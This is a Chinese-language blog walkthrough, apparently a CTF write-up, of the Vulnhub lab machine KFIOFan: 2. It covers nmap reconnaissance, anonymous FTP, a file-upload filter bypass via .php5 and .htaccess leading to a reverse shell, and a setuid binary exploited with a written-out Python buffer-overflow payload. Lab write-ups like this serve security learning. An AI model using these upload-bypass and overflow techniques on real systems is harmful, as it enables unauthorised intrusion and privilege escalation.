CTF KFIOFan: 2 Vulnhub Walkthorugh靶机

 

主机扫描:

╰─ nmap -p- -A  x.x.80.222
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-29 16:55 CST
Nmap scan report for  x.x.80.222
Host is up (0.00098s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
26921/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 0 0 492658 Apr 19 08:36 1.png
| -rw-r--r-- 1 0 0 398665 Apr 19 08:36 2.png
| -rw-r--r-- 1 0 0 397987 Apr 19 08:36 3.png
| -rw-r--r-- 1 0 0 526658 Apr 19 08:36 4.png
|_drwxr-xr-x 2 107 112 4096 May 16 00:15 serrure
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff: x.x.80.222
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 5
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
MAC Address: 00:0C:29:AB:34:EF (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

发现ftp,进行连接

下4张图片,拼接起来,放大500%倍

cle.txt

创建cle.txt,内容为anything,上传到serrure

 再次扫描,多出现了个端口

访问

右键源码查看,发现文件OK,内容不正确,继续寻找内容

<!DOCTYPE html>
<html>
<body>
<!-- Test présence fichier cle.txt : OK -->
<!-- Test contenu fichier cle.txt : Erreur -->
<p>Tout ce qui est, est père du mensonge et fils du néant</p>
</body>
</html>

目录爆破:

cle.txt的文件内容通过参考大神的手册,作者曾经写过相关的文章,有一句话名言。Khaos Farbauti Ibn Oblivion更改cle.txt里面的内容,并上传

再次访问:

http://x.x.80.222:26980/index.php

 

 

经过尝试,上传.php文件失败,可以上传 .php3 .php5 .phtml等文件

尝试反弹shell,发现php5 无法解析

创建touch .htaccess 然后上传,访问php5文件,获取shell

寻找下可用的信息:

再次扫描下,看看是否开放了其他端口

顺利登陆,接下来按道理要进行root提权操作

bob@kfiofan2:~$ file test
test: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=682d6c9e7e15e75e2301db8009c0011d439910ea, not stripped

看起来是个可执行文件,但是执行的时候,需要密码验证

我们使用string 看下文件

发现几个关键的信息,系统执行命令,创建认证文件的操作,一个疑是执行文件的密码

翻译过来这个意思

我们进行gdb调试改程序吧

python -c 'print ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6"+"\x20\x48\x55\x55\x55\x55")' | ./test

退出重新登录,即可获取root权限

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值